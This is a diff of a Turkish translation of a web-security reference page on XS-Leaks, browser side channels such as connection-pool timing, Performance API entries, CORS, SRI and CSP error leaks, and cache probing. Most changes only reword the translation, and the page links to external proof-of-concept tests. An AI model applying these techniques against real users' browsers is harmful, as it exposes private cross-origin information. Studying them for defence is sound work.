- **Summary:** Bir saldırgan, 1 hariç tüm soketleri kilitleyebilir, hedef webi yükleyebilir ve aynı anda başka bir sayfayı yükleyebilir, son sayfanın yüklenmeye başlaması için geçen süre, hedef sayfanın yüklenmesi için geçen süredir.
|
||||
- **Code Example**:
|
||||
|
||||
{{#ref}}
|
||||
@ -261,53 +261,53 @@ xs-search/connection-pool-example.md
|
||||
Tarayıcılar, sunucu iletişimi için soketler kullanır, ancak işletim sistemi ve donanımın sınırlı kaynakları nedeniyle, **tarayıcılar eşzamanlı soket sayısına bir sınır koymak zorundadır**. Saldırganlar bu sınırlamayı aşağıdaki adımlarla istismar edebilir:
|
||||
|
||||
1. Tarayıcının soket limitini belirleyin, örneğin, 256 global soket.
|
||||
2. 255 soketi uzun bir süre boyunca, bağlantıları tamamlamadan açık tutacak şekilde, çeşitli ana bilgisayarlara 255 istek başlatarak doldurun.
|
||||
2. 255 soketi uzun bir süre boyunca, bağlantıları tamamlamadan açık tutacak şekilde, çeşitli hostlara 255 istek başlatarak doldurun.
|
||||
3. Hedef sayfaya bir istek göndermek için 256. soketi kullanın.
|
||||
4. Farklı bir ana bilgisayara 257. bir istek yapmayı deneyin. Tüm soketler kullanıldığından (2. ve 3. adımlara göre), bu istek, bir soket kullanılabilir hale gelene kadar bekleyecektir. Bu isteğin ilerlemesi için geçen gecikme, saldırgana 256. soketle (hedef sayfanın soketi) ilgili ağ etkinliği hakkında zamanlama bilgisi sağlar. Bu çıkarım, 2. adımda yer alan 255 soketin hala meşgul olması nedeniyle mümkündür; bu da, yeni kullanılabilir hale gelen soketin 3. adımda serbest bırakılan soket olması gerektiği anlamına gelir. 256. soketin kullanılabilir hale gelmesi için geçen süre, dolayısıyla hedef sayfaya yapılan isteğin tamamlanması için gereken süreyle doğrudan bağlantılıdır.
|
||||
4. Farklı bir hosta 257. isteği deneyin. Tüm soketler kullanıldığından (2. ve 3. adımlara göre), bu istek bir soket mevcut olana kadar bekleyecektir. Bu isteğin ilerlemesi için geçen süre, saldırgana 256. soketle (hedef sayfanın soketi) ilgili ağ etkinliği hakkında zaman bilgisi sağlar. Bu çıkarım, 2. adımda yer alan 255 soketin hala meşgul olması nedeniyle mümkündür; bu da, yeni mevcut olan soketin 3. adımda serbest bırakılan soket olması gerektiği anlamına gelir. 256. soketin mevcut hale gelmesi için geçen süre, dolayısıyla hedef sayfaya yapılan isteğin tamamlanması için gereken süreyle doğrudan bağlantılıdır.
|
||||
|
||||
Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
### Connection Pool by Destination
|
||||
|
||||
- **Inclusion Methods**: JavaScript İstekleri
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Detectable Difference**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **More info**:
|
||||
- **Summary:** Önceki teknik gibi, ancak tüm soketleri kullanmak yerine, Google **Chrome** aynı kökene **6 eşzamanlı isteğe** bir sınır koyar. Eğer **5'ini engellersek** ve sonra **6. bir istek başlatırsak**, bunu **zamanlayabiliriz** ve eğer **kurban sayfasının** aynı uç noktaya daha fazla **istek göndermesini** sağlarsak, **6. istek** **daha uzun** sürecek ve bunu tespit edebiliriz.
|
||||
- **Summary:** Önceki teknikle aynı ama tüm soketleri kullanmak yerine, Google **Chrome** aynı kökene **6 eşzamanlı isteğe** bir sınır koyar. Eğer **5'ini engellersek** ve sonra **6. bir istek başlatırsak**, bunu **zamanlayabiliriz** ve eğer **kurban sayfasının** aynı uç noktaya daha fazla **istek göndermesini** sağlarsak, **6. istek** **daha uzun** sürecek ve bunu tespit edebiliriz.
|
||||
|
||||
## Performance API Techniques
|
||||
|
||||
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) web uygulamalarının performans metrikleri hakkında içgörüler sunar ve [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) ile daha da zenginleştirilmiştir. Resource Timing API, isteklerin süresi gibi ayrıntılı ağ isteği zamanlamalarını izlemeyi sağlar. Özellikle, sunucular yanıtlarında `Timing-Allow-Origin: *` başlığını içerdiğinde, transfer boyutu ve alan adı arama süresi gibi ek veriler kullanılabilir hale gelir.
|
||||
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) web uygulamalarının performans metrikleri hakkında içgörüler sunar ve [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) ile daha da zenginleştirilmiştir. Resource Timing API, isteklerin süresi gibi ayrıntılı ağ isteği zamanlamalarını izlemeyi sağlar. Özellikle, sunucular `Timing-Allow-Origin: *` başlığını yanıtlarında içerdiğinde, transfer boyutu ve alan adı arama süresi gibi ek veriler kullanılabilir hale gelir.
|
||||
|
||||
Bu veri zenginliği, [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) veya [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) gibi yöntemler aracılığıyla elde edilebilir ve performansla ilgili bilgilerin kapsamlı bir görünümünü sağlar. Ayrıca, API, [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) ile elde edilen zaman damgaları arasındaki farkı hesaplayarak yürütme sürelerini ölçmeyi kolaylaştırır. Ancak, Chrome gibi tarayıcılardaki belirli işlemler için `performance.now()`'un hassasiyetinin milisaniyelerle sınırlı olabileceği ve bu durumun zamanlama ölçümlerinin ayrıntılığını etkileyebileceği unutulmamalıdır.
|
||||
Bu veri zenginliği, [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) veya [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) gibi yöntemler aracılığıyla elde edilebilir ve performansla ilgili bilgilerin kapsamlı bir görünümünü sağlar. Ayrıca, API, [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) ile elde edilen zaman damgaları arasındaki farkı hesaplayarak yürütme sürelerini ölçmeyi kolaylaştırır. Ancak, Chrome gibi tarayıcılarda `performance.now()`'un hassasiyetinin milisaniyelerle sınırlı olabileceği ve bu durumun zamanlama ölçümlerinin ayrıntılığını etkileyebileceği unutulmamalıdır.
|
||||
|
||||
Zamanlama ölçümlerinin ötesinde, Performance API güvenlikle ilgili içgörüler için de kullanılabilir. Örneğin, Chrome'daki `performance` nesnesinde sayfaların varlığı veya yokluğu, `X-Frame-Options` uygulandığını gösterebilir. Özellikle, bir sayfa `X-Frame-Options` nedeniyle bir çerçevede görüntülenmekten engellenirse, `performance` nesnesinde kaydedilmeyecek ve sayfanın çerçeveleme politikaları hakkında ince bir ipucu sağlayacaktır.
|
||||
Zamanlama ölçümlerinin ötesinde, Performance API güvenlikle ilgili içgörüler için de kullanılabilir. Örneğin, Chrome'daki `performance` nesnesinde sayfaların varlığı veya yokluğu, `X-Frame-Options` uygulandığını gösterebilir. Özellikle, bir sayfa `X-Frame-Options` nedeniyle bir çerçevede render edilmekten engellenirse, `performance` nesnesinde kaydedilmeyecektir, bu da sayfanın çerçeveleme politikaları hakkında ince bir ipucu sağlar.
|
||||
|
||||
### Error Leak
|
||||
|
||||
- **Inclusion Methods**: Frames, HTML Elemanları
|
||||
- **Inclusion Methods**: Frames, HTML Elements
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Hatalarla sonuçlanan bir istek, bir kaynak zamanlama girişi oluşturmaz.
|
||||
- **Summary:** Hatalara neden olan bir istek, bir kaynak zamanlama girişi oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
||||
|
||||
HTTP yanıt durum kodları arasında **ayrım yapmak** mümkündür çünkü bir **hata** ile sonuçlanan istekler **performans girişi** oluşturmaz.
|
||||
HTTP yanıt durum kodları arasında **ayrım** yapmak mümkündür çünkü bir **hata** ile sonuçlanan istekler **performans girişi** oluşturmaz.
|
||||
|
||||
### Style Reload Error
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Bir tarayıcı hatası nedeniyle, hatalarla sonuçlanan istekler iki kez yüklenir.
|
||||
- **Summary:** Bir tarayıcı hatası nedeniyle, hatalara neden olan istekler iki kez yüklenir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||||
|
||||
Önceki teknikte, yüklenemeyen kaynakların iki kez yüklendiği durumları belirten iki tarayıcı hatası tespit edilmiştir. Bu, Performans API'sinde birden fazla girişe yol açar ve bu nedenle tespit edilebilir.
|
||||
Önceki teknikte, yüklenemeyen kaynakların iki kez yüklendiği durumları belirten iki tarayıcı hatası tespit edilmiştir. Bu, Performans API'sinde birden fazla giriş oluşturur ve bu nedenle tespit edilebilir.
|
||||
|
||||
### Request Merging Error
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Hatalarla sonuçlanan istekler birleştirilemez.
|
||||
- **Summary:** Hatalara neden olan istekler birleştirilemez.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
Bu teknik, bahsedilen belgede bir tabloda bulunmuştur ancak tekniğin tanımı bulunmamıştır. Ancak, [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) adresinde kontrol ederek kaynak kodunu bulabilirsiniz.
|
||||
@ -330,7 +330,7 @@ Bir saldırgan, bir isteğin boş bir HTTP yanıt gövdesi ile sonuçlanıp sonu
|
||||
- **Summary:** Güvenlik İddialarında XSS Auditor kullanarak, saldırganlar, oluşturulan yüklerin denetleyicinin filtreleme mekanizmasını tetiklemesi durumunda yanıtların değişimini gözlemleyerek belirli web sayfası öğelerini tespit edebilir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
Güvenlik İddialarında (SA), Cross-Site Scripting (XSS) saldırılarını önlemek için tasarlanmış olan XSS Auditor, paradoksal olarak hassas bilgileri sızdırmak için istismar edilebilir. Bu yerleşik özellik Google Chrome'dan (GC) kaldırılmış olsa da, SA'da hala mevcuttur. 2013 yılında Braun ve Heiderich, XSS Auditor'un yanlış pozitiflere yol açarak meşru betikleri yanlışlıkla engelleyebileceğini göstermiştir. Bunun üzerine, araştırmacılar, bilgileri çıkarmak ve çapraz kaynak sayfalarında belirli içerikleri tespit etmek için teknikler geliştirmiştir; bu kavram XS-Sızıntılar olarak bilinir ve ilk olarak Terada tarafından rapor edilmiş, Heyes tarafından bir blog yazısında detaylandırılmıştır. Bu teknikler, GC'deki XSS Auditor'a özgü olmasına rağmen, SA'da XSS Auditor tarafından engellenen sayfaların Performans API'sinde giriş oluşturmadığı keşfedilmiştir; bu da hassas bilgilerin hala sızdırılabileceği bir yöntem sunmaktadır.
|
||||
Güvenlik İddialarında (SA), Cross-Site Scripting (XSS) saldırılarını önlemek için tasarlanmış olan XSS Auditor, paradoksal olarak hassas bilgileri sızdırmak için istismar edilebilir. Bu yerleşik özellik, Google Chrome'dan (GC) kaldırılmış olsa da, SA'da hala mevcuttur. 2013 yılında Braun ve Heiderich, XSS Auditor'un yanlış pozitiflere yol açarak meşru betikleri yanlışlıkla engelleyebileceğini göstermiştir. Bunun üzerine, araştırmacılar, bilgileri çıkarmak ve çapraz kaynaklı sayfalardaki belirli içerikleri tespit etmek için teknikler geliştirmiştir; bu kavram XS-Leaks olarak bilinir ve ilk olarak Terada tarafından rapor edilmiş, ardından Heyes tarafından bir blog yazısında detaylandırılmıştır. Bu teknikler, GC'deki XSS Auditor'a özgü olmasına rağmen, SA'da XSS Auditor tarafından engellenen sayfaların Performans API'sinde giriş oluşturmadığı keşfedilmiştir; bu da hassas bilgilerin hala sızdırılabileceği bir yöntem sunar.
|
||||
|
||||
### X-Frame Leak
|
||||
|
||||
@ -340,7 +340,7 @@ Güvenlik İddialarında (SA), Cross-Site Scripting (XSS) saldırılarını önl
|
||||
- **Summary:** X-Frame-Options başlığına sahip kaynak, kaynak zamanlama girişi oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
|
||||
Eğer bir sayfanın **iframe** içinde **görüntülenmesine izin verilmezse**, bu **performans girişi** oluşturmaz. Sonuç olarak, bir saldırgan **`X-Frame-Options`** yanıt başlığını tespit edebilir.\
|
||||
Eğer bir sayfa **iframe** içinde **render edilmesine izin verilmezse**, bu **performans girişi** oluşturmaz. Sonuç olarak, bir saldırgan **`X-Frame-Options`** yanıt başlığını tespit edebilir.\
|
||||
Aynı şey bir **embed** **etiketi** kullanıldığında da geçerlidir.
|
||||
|
||||
### Download Detection
|
||||
@ -351,7 +351,7 @@ Aynı şey bir **embed** **etiketi** kullanıldığında da geçerlidir.
|
||||
- **Summary:** İndirmeler, Performans API'sinde kaynak zamanlama girişleri oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
Aynı şekilde, içerik başlığı nedeniyle **indirilmiş bir kaynak**, **performans girişi** oluşturmaz. Bu teknik tüm büyük tarayıcılarda çalışır.
|
||||
Aynı şekilde, içerik dağıtım başlığı nedeniyle **indirilmiş bir kaynak**, **performans girişi** oluşturmaz. Bu teknik, tüm büyük tarayıcılarda çalışır.
|
||||
|
||||
### Redirect Start Leak
|
||||
|
||||
@ -361,7 +361,7 @@ Aynı şekilde, içerik başlığı nedeniyle **indirilmiş bir kaynak**, **perf
|
||||
- **Summary:** Kaynak zamanlama girişi, bir yönlendirmenin başlangıç zamanını sızdırır.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
Bazı tarayıcıların çapraz kaynak istekleri için fazla bilgi kaydetme davranışını kötüye kullanan bir XS-Sızıntı örneği bulduk. Standart, çapraz kaynaklı kaynaklar için sıfıra ayarlanması gereken bir dizi özelliği tanımlar. Ancak, **SA**'da, kullanıcıyı hedef sayfa tarafından **yönlendirildiğini** tespit etmek mümkündür; Performans API'sini sorgulayarak ve **redirectStart zamanlama verisini** kontrol ederek.
|
||||
Bazı tarayıcıların çapraz kaynak istekleri için çok fazla bilgi kaydetme davranışını kötüye kullanan bir XS-Leak örneği bulduk. Standart, çapraz kaynaklı kaynaklar için sıfıra ayarlanması gereken bir dizi özellik tanımlar. Ancak, **SA**'da, hedef sayfanın kullanıcıyı **yönlendirdiğini** tespit etmek mümkündür; Performans API'sini sorgulayarak ve **redirectStart zamanlama verisini** kontrol ederek.
|
||||
|
||||
### Duration Redirect Leak
|
||||
|
||||
@ -371,7 +371,7 @@ Bazı tarayıcıların çapraz kaynak istekleri için fazla bilgi kaydetme davra
|
||||
- **Summary:** Yönlendirme gerçekleştiğinde zamanlama girişlerinin süresi negatiftir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
||||
|
||||
GC'de, **yönlendirme** ile sonuçlanan isteklerin **süresi** **negatiftir** ve bu nedenle yönlendirme ile sonuçlanmayan isteklerden **ayrılabilir**.
|
||||
GC'de, **yönlendirme** ile sonuçlanan isteklerin **süresi** **negatif** olup, bu nedenle yönlendirme ile sonuçlanmayan isteklerden **ayrılabilir**.
|
||||
|
||||
### CORP Leak
|
||||
|
||||
@ -381,7 +381,7 @@ GC'de, **yönlendirme** ile sonuçlanan isteklerin **süresi** **negatiftir** ve
|
||||
- **Summary:** CORP ile korunan kaynaklar, kaynak zamanlama girişleri oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
|
||||
Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kullanılabilir. GC'de, **CORP başlığı** ayarlandığında, nextHopProtocol **boş** olacaktır. SA, CORP etkin kaynaklar için hiç performans girişi oluşturmayacaktır.
|
||||
Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kullanılabilir. GC'de, **CORP başlığı** ayarlandığında, nextHopProtocol **boş** olacaktır. SA'nın, CORP etkin kaynaklar için hiç performans girişi oluşturmayacağını unutmayın.
|
||||
|
||||
### Service Worker
|
||||
|
||||
@ -393,7 +393,7 @@ Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kul
|
||||
|
||||
Hizmet çalışanları, bir kökende çalışan olay odaklı betik bağlamlarıdır. Bir web sayfasının arka planında çalışır ve kaynakları **yakalamak**, **değiştirmek** ve **önbelleğe almak** için kullanılabilir, böylece çevrimdışı web uygulamaları oluşturulabilir.\
|
||||
Eğer bir **hizmet çalışanı** tarafından **önbelleğe alınmış** bir **kaynağa** **iframe** aracılığıyla erişilirse, kaynak **hizmet çalışanı önbelleğinden** **yüklenir**.\
|
||||
Kaynağın **hizmet çalışanı** önbelleğinden **yüklenip yüklenmediğini** tespit etmek için **Performans API'si** kullanılabilir.\
|
||||
Kaynağın **hizmet çalışanından** yüklendiğini tespit etmek için **Performans API'si** kullanılabilir.\
|
||||
Bu, bir Zamanlama saldırısı ile de yapılabilir (daha fazla bilgi için belgeyi kontrol edin).
|
||||
|
||||
### Cache
|
||||
@ -418,7 +418,7 @@ Bu, bir Zamanlama saldırısı ile de yapılabilir (daha fazla bilgi için belge
|
||||
|
||||
### Media Error
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları (Video, Ses)
|
||||
- **Inclusion Methods**: HTML Elements (Video, Audio)
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
||||
- **Summary:** Firefox'ta, çapraz kaynak isteğinin durum kodunu doğru bir şekilde sızdırmak mümkündür.
|
||||
@ -470,7 +470,7 @@ err.message +
|
||||
audioElement.onerror = errHandler
|
||||
}
|
||||
```
|
||||
`MediaError` arayüzünün message özelliği, başarılı bir şekilde yüklenen kaynakları benzersiz bir dize ile tanımlar. Bir saldırgan, bu özelliği mesaj içeriğini gözlemleyerek kullanabilir ve böylece bir cross-origin kaynağının yanıt durumunu çıkarabilir.
|
||||
`MediaError` arayüzünün message özelliği, başarılı bir şekilde yüklenen kaynakları benzersiz bir dize ile tanımlar. Bir saldırgan, bu özelliği mesaj içeriğini gözlemleyerek, bir cross-origin kaynağının yanıt durumunu çıkararak istismar edebilir.
|
||||
|
||||
### CORS Hatası
|
||||
|
||||
@ -480,7 +480,7 @@ audioElement.onerror = errHandler
|
||||
- **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları, yönlendirilmiş isteklerin tam URL'sini istemeden açığa çıkarır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
Bu teknik, bir saldırganın **cross-origin bir sitenin yönlendirmesinin hedefini çıkarmasını** sağlar; çünkü Webkit tabanlı tarayıcıların CORS isteklerini nasıl işlediğini kullanır. Özellikle, bir **CORS etkin isteği**, kullanıcı durumuna dayalı olarak yönlendirme yapan bir hedef siteye gönderildiğinde ve tarayıcı isteği reddettiğinde, **yönlendirme hedefinin tam URL'si** hata mesajında açığa çıkar. Bu zafiyet, yönlendirme gerçeğini açığa çıkarmakla kalmaz, aynı zamanda yönlendirmenin uç noktasını ve içerebileceği herhangi bir **hassas sorgu parametresini** de açığa çıkarır.
|
||||
Bu teknik, bir saldırganın **cross-origin bir sitenin yönlendirmesinin hedefini çıkarmasını** sağlar; çünkü Webkit tabanlı tarayıcıların CORS isteklerini nasıl işlediğini istismar eder. Özellikle, bir **CORS etkin isteği**, kullanıcı durumuna dayalı olarak yönlendirme yapan bir hedef siteye gönderildiğinde ve tarayıcı isteği reddettiğinde, **yönlendirme hedefinin tam URL'si** hata mesajında ifşa edilir. Bu güvenlik açığı, yönlendirme gerçeğini açığa çıkarmakla kalmaz, aynı zamanda yönlendirmenin uç noktasını ve içerebileceği herhangi bir **hassas sorgu parametresini** de açığa çıkarır.
|
||||
|
||||
### SRI Hatası
|
||||
|
||||
@ -490,7 +490,7 @@ Bu teknik, bir saldırganın **cross-origin bir sitenin yönlendirmesinin hedefi
|
||||
- **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları, yönlendirilmiş isteklerin tam URL'sini istemeden açığa çıkarır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
Bir saldırgan, **açık hata mesajlarını** kullanarak cross-origin yanıtlarının boyutunu çıkarabilir. Bu, genellikle CDN'lerden alınan kaynakların değiştirilmediğini doğrulamak için bütünlük niteliğini kullanan Alt Kaynak Bütünlüğü (SRI) mekanizmasından kaynaklanmaktadır. SRI'nin cross-origin kaynaklarda çalışabilmesi için bunların **CORS etkin** olması gerekir; aksi takdirde bütünlük kontrollerine tabi tutulmazlar. Güvenlik İddialarında (SA), CORS hata XS-Leak gibi, bir bütünlük niteliği ile başarısız olan bir fetch isteğinden sonra bir hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük niteliğine **sahtelik değeri** atayarak bu hatayı kasıtlı olarak **tetikleyebilirler**. SA'da, ortaya çıkan hata mesajı, istenen kaynağın içerik uzunluğunu istemeden açığa çıkarır. Bu bilgi sızıntısı, bir saldırganın yanıt boyutundaki değişiklikleri ayırt etmesine olanak tanır ve karmaşık XS-Leak saldırılarına zemin hazırlar.
|
||||
Bir saldırgan, **açık hata mesajlarını** istismar ederek cross-origin yanıtların boyutunu çıkarabilir. Bu, genellikle CDN'lerden alınan kaynakların değiştirilmediğini doğrulamak için bütünlük niteliğini kullanan Alt Kaynak Bütünlüğü (SRI) mekanizmasından kaynaklanmaktadır. SRI'nin cross-origin kaynaklarda çalışabilmesi için, bunların **CORS etkin** olması gerekir; aksi takdirde bütünlük kontrollerine tabi tutulmazlar. Güvenlik İddialarında (SA), CORS hata XS-Leak gibi, bir bütünlük niteliği ile başarısız olan bir fetch isteğinden sonra bir hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük niteliğine **sahtelik değeri** atayarak bu hatayı kasıtlı olarak **tetikleyebilirler**. SA'da, ortaya çıkan hata mesajı, istenen kaynağın içerik uzunluğunu istemeden açığa çıkarır. Bu bilgi sızıntısı, bir saldırganın yanıt boyutundaki değişiklikleri ayırt etmesine olanak tanır ve karmaşık XS-Leak saldırılarına zemin hazırlar.
|
||||
|
||||
### CSP İhlali/Tespiti
|
||||
|
||||
@ -500,7 +500,7 @@ Bir saldırgan, **açık hata mesajlarını** kullanarak cross-origin yanıtlar
|
||||
- **Özet:** Eğer yalnızca kurbanın web sitesi CSP'de izin verilirse ve farklı bir alan adına yönlendirmeye çalışırsa, CSP tespit edilebilir bir hata tetikler.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
Bir XS-Leak, CSP'yi kullanarak bir cross-origin sitenin farklı bir kökene yönlendirilip yönlendirilmediğini tespit edebilir. Bu sızıntı, yönlendirmeyi tespit edebilir, ayrıca yönlendirme hedefinin alan adını da açığa çıkarır. Bu saldırının temel fikri, **saldırgan sitesinde hedef alan adını izin vermektir**. Hedef alana bir istek gönderildiğinde, **cross-origin bir alana yönlendirir**. **CSP,** buna erişimi engeller ve **bir ihlal raporu oluşturur**; bu rapor bir sızıntı tekniği olarak kullanılır. Tarayıcıya bağlı olarak, **bu rapor yönlendirmenin hedef konumunu açığa çıkarabilir**.\
|
||||
Bir XS-Leak, CSP'yi kullanarak bir cross-origin sitenin farklı bir kökene yönlendirilip yönlendirilmediğini tespit edebilir. Bu sızıntı, yönlendirmeyi tespit edebilir, ayrıca yönlendirme hedefinin alan adını da açığa çıkarır. Bu saldırının temel fikri, **saldırgan sitesinde hedef alan adını izin vermektir**. Hedef alan adına bir istek yapıldığında, **cross-origin bir alana yönlendirir**. **CSP,** buna erişimi engeller ve bir **ihlal raporu oluşturur**; bu rapor bir sızıntı tekniği olarak kullanılır. Tarayıcıya bağlı olarak, **bu rapor yönlendirmenin hedef konumunu açığa çıkarabilir**.\
|
||||
Modern tarayıcılar, yönlendirildiği URL'yi belirtmeyecek, ancak bir cross-origin yönlendirmesinin tetiklendiğini yine de tespit edebilirsiniz.
|
||||
|
||||
### Önbellek
|
||||
@ -508,12 +508,12 @@ Modern tarayıcılar, yönlendirildiği URL'yi belirtmeyecek, ancak bir cross-or
|
||||
- **Dahil Etme Yöntemleri**: Çerçeveler, Pop-up'lar
|
||||
- **Tespit Edilebilir Fark**: Sayfa İçeriği
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
||||
- **Özet:** Dosyayı önbellekten temizle. Hedef sayfayı açar, dosyanın önbellekte mevcut olup olmadığını kontrol eder.
|
||||
- **Özet:** Dosyayı önbellekten temizle. Hedef sayfayı açar, dosyanın önbellekte olup olmadığını kontrol eder.
|
||||
- **Kod Örneği:**
|
||||
|
||||
Tarayıcılar, tüm web siteleri için ortak bir önbellek kullanabilir. Kökenlerinden bağımsız olarak, bir hedef sayfanın **belirli bir dosyayı talep edip etmediğini** çıkarmak mümkündür.
|
||||
|
||||
Eğer bir sayfa yalnızca kullanıcı giriş yaptığında bir resmi yüklüyorsa, **kaynağı geçersiz kılabilir** (yani, önbellekte değilse, daha fazla bilgi bağlantılarına bakın), **o kaynağı yükleyebilecek bir istek gerçekleştirebilir** ve kaynağı **kötü bir istekle yüklemeyi deneyebilirsiniz** (örneğin, aşırı uzun bir referans başlığı kullanarak). Eğer kaynak yüklemesi **herhangi bir hata tetiklemediyse**, bunun nedeni **önbelleğe alındığıdır**.
|
||||
Eğer bir sayfa yalnızca kullanıcı giriş yaptığında bir resmi yüklüyorsa, **kaynağı geçersiz kılabilir** (önbellekte değilse, daha fazla bilgi bağlantılarına bakın), **o kaynağı yükleyebilecek bir istek yapabilir** ve kaynağı **kötü bir istekle** yüklemeyi deneyebilirsiniz (örneğin, aşırı uzun bir referans başlığı kullanarak). Eğer kaynak yüklemesi **herhangi bir hata tetiklemediyse**, bunun nedeni **önbelleğe alınmış** olmasıdır.
|
||||
|
||||
### CSP Yönergesi
|
||||
|
||||
@ -523,7 +523,7 @@ Eğer bir sayfa yalnızca kullanıcı giriş yaptığında bir resmi yüklüyors
|
||||
- **Özet:** CSP başlık yönergeleri, CSP iframe niteliği kullanılarak sorgulanabilir ve politika detaylarını açığa çıkarır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||||
|
||||
Google Chrome'daki (GC) yeni bir özellik, web sayfalarının bir iframe öğesine bir nitelik ayarlayarak **bir İçerik Güvenlik Politikası (CSP) önermesine** olanak tanır; politika yönergeleri HTTP isteği ile birlikte iletilir. Normalde, gömülü içeriğin **bunu bir HTTP başlığı aracılığıyla yetkilendirmesi gerekir**, aksi takdirde **bir hata sayfası görüntülenir**. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenir. Bu mekanizma, bir saldırganın, hata sayfasını tanımlayarak bir cross-origin sayfanın **belirli CSP yönergelerini tespit etmesine** olanak tanır. Bu zafiyetin düzeltildiği belirtilmiş olsa da, bulgularımız, hata sayfasını tespit edebilen **yeni bir sızıntı tekniği** ortaya koymaktadır; bu, temel sorunun asla tam olarak ele alınmadığını göstermektedir.
|
||||
